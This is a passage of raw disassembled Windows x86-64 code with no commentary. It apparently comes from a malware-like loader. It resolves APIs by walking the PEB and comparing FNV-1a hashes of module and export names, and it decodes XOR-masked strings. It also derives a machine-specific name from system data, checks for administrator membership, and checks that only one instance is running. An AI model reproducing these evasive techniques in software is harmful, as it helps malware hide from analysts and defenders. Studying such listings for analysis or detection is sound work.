pxor xmm1, xmmword [rbp + 0x1410]
movdqa xmmword [rbp + 0x280], xmm1
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 0x3510]
call fcn.14004f3a0
mov rdx, rax
lea rcx, [rbp + 0x3a28]
call fcn.14003ac70
test al, al
je 0x140045e17
mov dword [rbp - 0x80], 0
mov word [rbp - 0x7c], 0x500
xor esi, esi
mov edi, 0xdb3de4b3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1140], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140041210
mov r8, qword [rbp + 0x1148]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041207
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400411e0
cmp r9d, esi
jne 0x140041355
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004135d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041355
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041355
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140041298
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041271
cmp r9d, edi
je 0x1400412aa
test r10d, r10d
jne 0x140041250
mov rax, qword [rax]
jmp 0x1400411a0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004135f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004135f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140041314
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400412f0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041344
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140041320
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400411a0
xor ebx, ebx
lea rax, [rbp + 0x78]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x80]
call rbx
test eax, eax
jne 0x1400413be
mov rcx, qword gs:[0x60]
jmp 0x1400417ad
mov dword [rbp + 0x10], 0
xor esi, esi
mov edi, 0x3b137204
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1150], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140041450
mov r8, qword [rbp + 0x1158]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041447
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041420
cmp r9d, esi
jne 0x140041595
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004159d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041595
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041595
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x1400414d8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400414b1
cmp r9d, edi
je 0x1400414ea
test r10d, r10d
jne 0x140041490
mov rax, qword [rax]
jmp 0x1400413e0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004159f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004159f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140041554
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140041530
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041584
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140041560
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400413e0
xor ebx, ebx
lea r8, [rbp + 0x10]
mov rdx, qword [rbp + 0x78]
xor ecx, ecx
call rbx
xor esi, esi
mov edi, 0x8b86f6e5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1160], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140041640
mov r8, qword [rbp + 0x1168]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041637
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041610
cmp r9d, esi
jne 0x140041785
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004178d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041785
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041785
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x1400416c8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400416a1
cmp r9d, edi
je 0x1400416da
test r10d, r10d
jne 0x140041680
mov rax, qword [rax]
jmp 0x1400415d0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004178f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004178f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140041744
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140041720
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140041774
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140041750
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400415d0
xor edx, edx
mov rcx, qword [rbp + 0x78]
call rdx
cmp dword [rbp + 0x10], 1
sete al
mov rcx, qword gs:[0x60]
test al, al
jne 0x140041a8a
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1908], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140041830
mov r9, qword [rbp + 0x1910]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x140041827
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x140041800
cmp r10d, esi
jne 0x140041977
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004197f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140041977
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140041977
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [rdi + r11*4]
mov r9d, dword [rcx + r12]
add r9, rdi
mov r10d, 0x811c9dc5
movzx ebx, byte [r9]
inc r9
test bl, bl
je 0x1400418b7
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140041890
cmp r10d, r8d
je 0x1400418c9
test r11d, r11d
jne 0x140041870
mov rax, qword [rax]
jmp 0x1400417c0
mov ecx, dword [r15 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r11*2]
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov ebx, dword [rcx + rdx*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140041981
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140041981
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140041934
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x140041910
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140041966
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140041940
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400417c0
xor ebx, ebx
movabs rdx, 0x51dc3191e737b52d
mov qword [rbp + 0x1170], rdx
movabs rcx, 0x3b1b0550f00f3046
mov qword [rbp + 0x1178], rcx
movabs rax, 0x7cfc65c1ae65fe7e
mov qword [rbp + 0xc0], rax
movabs rax, 0x3b1b773f827d7566
mov qword [rbp + 0xc8], rax
movdqa xmm0, xmmword [rbp + 0x1170]
pxor xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0x1420], rdx
mov qword [rbp + 0x1428], rcx
movabs rax, 0x3dfb04bf43d645e7
mov qword [rbp + 0x1430], rax
mov qword [rbp + 0x1438], r14
movabs rax, 0x3dfc54e28652d97d
mov qword [rbp + 0x2b0], rax
movabs rax, 0x487a253893614527
mov qword [rbp + 0x2b8], rax
movabs rax, 0x4e926ad62eb204c7
mov qword [rbp + 0x2c0], rax
movabs rax, 0x5015efe194498bfc
mov qword [rbp + 0x2c8], rax
movdqa xmm0, xmmword [rbp + 0x1420]
pxor xmm0, xmmword [rbp + 0x2b0]
movdqa xmmword [rbp + 0x2b0], xmm0
movdqa xmm1, xmmword [rbp + 0x1430]
pxor xmm1, xmmword [rbp + 0x2c0]
movdqa xmmword [rbp + 0x2c0], xmm1
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x2b0]
jmp 0x140046deb
xor r14d, r14d
mov esi, 0x1e086d37
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1180], xmm0
movd ecx, xmm0
sub cx, 8
test r14d, r14d
je 0x140041b10
mov r8, qword [rbp + 0x1188]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041b07
nop dword [rax]
nop dword [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041ae0
cmp r9d, r14d
jne 0x140041c66
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140041c6e
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x78], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140041c66
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140041c66
mov r13d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r13]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041ba7
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041b80
cmp r9d, esi
je 0x140041bb9
test r10d, r10d
jne 0x140041b55
mov rax, qword [rax]
jmp 0x140041aa0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [rsp + 0x60], rdi
cmp rdi, r15
jbe 0x140041c75
mov rax, qword [rsp + 0x78]
add rax, r15
cmp rdi, rax
jae 0x140041c75
mov esi, 0x811c9dc5
mov r14d, esi
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x140041c27
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x140041c01
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x140041c55
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x140041c31
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041aa0
xor edi, edi
mov qword [rsp + 0x60], rdi
mov edx, 1
lea rcx, [rbp + 0x35b0]
call fcn.14004df10
nop
imul ecx, dword [0x7ffe03c0], 0x213ea020
mov edx, 0x76e96710
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x1b0], eax
imul eax, dword [0x7ffe02c4], 0x37e06b0
add eax, edx
mov dword [rbp + 0x1b4], eax
imul eax, dword [0x7ffe0240], 0x12482760
mov ecx, edx
sub ecx, eax
mov dword [rbp + 0x1b8], ecx
imul eax, dword [0x7ffe0260], 0x47bb9210
sub edx, eax
mov dword [rbp + 0x1bc], edx
xor esi, esi
movabs rdi, 0x51dc3191e737b52d
movabs r12, 0x51dc3191e737b500
movabs r14, 0x3b1b0550f00f3046
nop dword [rax]
lea rax, [rsi - 4]
test rax, 0xfffffffffffffff9
jne 0x140041d5e
xor eax, eax
mov byte [rbp - 0x2d], al
mov byte [rbp - 0x2c], al
mov qword [rbp + 0x1190], rdi
mov qword [rbp + 0x1198], r14
mov qword [rbp + 0x1a0], r12
mov qword [rbp + 0x1a8], r14
mov byte [rbp - 0x2b], al
movdqa xmm0, xmmword [rbp + 0x1190]
pxor xmm0, xmmword [rbp + 0x1a0]
movdqa xmmword [rbp + 0x1a0], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x35c0]
call fcn.140054e90
mov rax, qword [rbp + 0x35c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x35c0]
add rcx, rax
call fcn.140031fe0
mov rax, qword [rbp + 0x35c0]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x3618], 0x30
mov edx, 2
lea rcx, [rbp + 0x3430]
call fcn.140077f74
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x35c0]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x35c0]
add rcx, rdx
mov rdx, qword [rax + 8]
call rbx
movzx edx, byte [rbp + rsi + 0x1b0]
lea rcx, [rbp + 0x35c0]
call fcn.14004e9b0
inc rsi
cmp rsi, 0x10
jl 0x140041d00
lea rdx, [rbp + 0x32b0]
lea rcx, [rbp + 0x35c8]
call fcn.140051310
mov dword [rsp + 0x70], 0x30
lea rcx, [rbp + 0x3648]
call fcn.14004de20
nop
lea rax, [0x1400c1ca8]
mov qword [rbp + 0x3648], rax
lea rcx, [rbp + 0x3648]
call fcn.140077e30
nop
lea rcx, [rbp + 0x32b0]
call fcn.14000aaf0
mov r8, rax
mov edx, 1
xor ecx, ecx
mov rdi, qword [rsp + 0x60]
call rdi
mov rcx, qword [rbp + 0x3a20]
mov rcx, qword [rcx]
mov qword [rcx], rax
mov dword [rsp + 0x70], 0x20
lea rcx, [rbp + 0x32b0]
call fcn.14002afe0
xor esi, esi
mov r14d, 0x136d9f17
mov dword [rsp + 0x60], r14d
mov edi, r14d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r12d, 0x1e086d37
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11a0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140041f00
mov r8, qword [rbp + 0x11a8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140041ef7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140041ed0
cmp r9d, esi
jne 0x140042055
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004205d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rsp + 0x78], rcx
mov r13d, edx
add r13, r11
cmp r13, r11
je 0x140042055
mov r10d, dword [r13 + 0x18]
test r10d, r10d
je 0x140042055
mov ecx, dword [r13 + 0x20]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140041f97
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140041f70
cmp r9d, edi
je 0x140041fad
test r10d, r10d
mov ecx, dword [r13 + 0x20]
jne 0x140041f45
mov rax, qword [rax]
jmp 0x140041e90
mov ecx, dword [r13 + 0x1c]
add rcx, r11
mov eax, dword [r13 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r13
jbe 0x14004205f
mov rax, qword [rsp + 0x78]
add rax, r13
cmp rdx, rax
jae 0x14004205f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140042014
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140041ff0
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140042044
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140042020
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140041e90
xor edx, edx
call rdx
cmp eax, 0xb7
je 0x140046df5
xor esi, esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11b0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400420f0
mov r8, qword [rbp + 0x11b8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400420e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x1400420c0
cmp r9d, esi
jne 0x140042257
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004225f
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rbp + 8], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042257
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042257
mov r13d, dword [r15 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r10d
lea rcx, [r10*4]
add rcx, r13
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140042197
nop dword [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042170
cmp r9d, r12d
je 0x1400421a9
test r10d, r10d
jne 0x140042140
mov rax, qword [rax]
jmp 0x140042080
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edi, dword [rcx + rax*4]
add rdi, r11
mov qword [rsp + 0x78], rdi
cmp rdi, r15
jbe 0x140042266
mov rax, qword [rbp + 8]
add rax, r15
cmp rdi, rax
jae 0x140042266
mov esi, 0x811c9dc5
mov r12d, esi
movzx edx, byte [rdi]
cmp dl, 0x2e
je 0x140042214
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdi
movzx edx, byte [rdi]
cmp dl, 0x2e
jne 0x1400421f0
inc rdi
movzx edx, byte [rdi]
test dl, dl
je 0x140042246
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r12d
imul r12d, ecx, 0x1000193
lea rdi, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
jne 0x140042220
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042080
xor edi, edi
mov qword [rsp + 0x78], rdi
mov edx, 1
lea rcx, [rbp + 0x36b0]
call fcn.14004df10
nop
imul ecx, dword [0x7ffe03c0], 0x415373b8
mov edx, 0xb8db7ac1
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x1d0], eax
imul eax, dword [0x7ffe02c4], 0x74a5aaf4
sub eax, 0x4724853f
mov dword [rbp + 0x1d4], eax
imul eax, dword [0x7ffe0240], 0x65152498
sub eax, 0x4724853f
mov dword [rbp + 0x1d8], eax
imul eax, dword [0x7ffe0260], 0x1f27e55c
sub edx, eax
mov dword [rbp + 0x1dc], edx
xor esi, esi
movabs rdi, 0x51dc3191e737b52d
movabs r15, 0x51dc3191e737b500
movabs r14, 0x3b1b0550f00f3046
lea rax, [rsi - 4]
test rax, 0xfffffffffffffff9
jne 0x14004234f
xor eax, eax
mov byte [rbp - 0x2a], al
mov byte [rbp - 0x29], al
mov qword [rbp + 0x11c0], rdi
mov qword [rbp + 0x11c8], r14
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r14
mov byte [rbp - 0x28], al
movdqa xmm0, xmmword [rbp + 0x1c0]
pxor xmm0, xmmword [rbp + 0x11c0]
movdqa xmmword [rbp + 0x1c0], xmm0
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x36c0]
call fcn.140054e90
mov rax, qword [rbp + 0x36c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x36c0]
add rcx, rax
call fcn.140031fe0
mov rax, qword [rbp + 0x36c0]
movsxd rcx, dword [rax + 4]
mov byte [rbp + rcx + 0x3718], 0x30
mov edx, 2
lea rcx, [rbp + 0x3440]
call fcn.140077f74
mov rbx, qword [rax]
mov rcx, qword [rbp + 0x36c0]
movsxd rdx, dword [rcx + 4]
lea rcx, [rbp + 0x36c0]
add rcx, rdx
mov rdx, qword [rax + 8]
call rbx
movzx edx, byte [rbp + rsi + 0x1d0]
lea rcx, [rbp + 0x36c0]
call fcn.14004e9b0
inc rsi
cmp rsi, 0x10
jl 0x1400422f1
lea rdx, [rbp + 0x32d0]
lea rcx, [rbp + 0x36c8]
call fcn.140051310
mov dword [rsp + 0x70], 0xe0
lea rcx, [rbp + 0x3748]
call fcn.14004de20
nop
lea rax, [0x1400c1ca8]
mov qword [rbp + 0x3748], rax
lea rcx, [rbp + 0x3748]
call fcn.140077e30
nop
lea rcx, [rbp + 0x32d0]
call fcn.14000aaf0
mov r8, rax
xor edx, edx
xor ecx, ecx
mov rdi, qword [rsp + 0x78]
call rdi
mov qword [rbp + 8], rax
mov dword [rsp + 0x70], 0xa0
lea rcx, [rbp + 0x32d0]
call fcn.14002afe0
xor edi, edi
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
mov r14d, dword [rsp + 0x60]
nop dword [rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rbp + 0x11d0], xmm0
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x1400424c1
mov r8, qword [rbp + 0x11d8]
movzx eax, ax
shr rax, 1
lea r10, [r8 + rax*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400424b8
movsx eax, byte [r8]
mov edx, eax
sub al, 0x41
mov ebx, edx
or ebx, 0x20
cmp al, 0x19
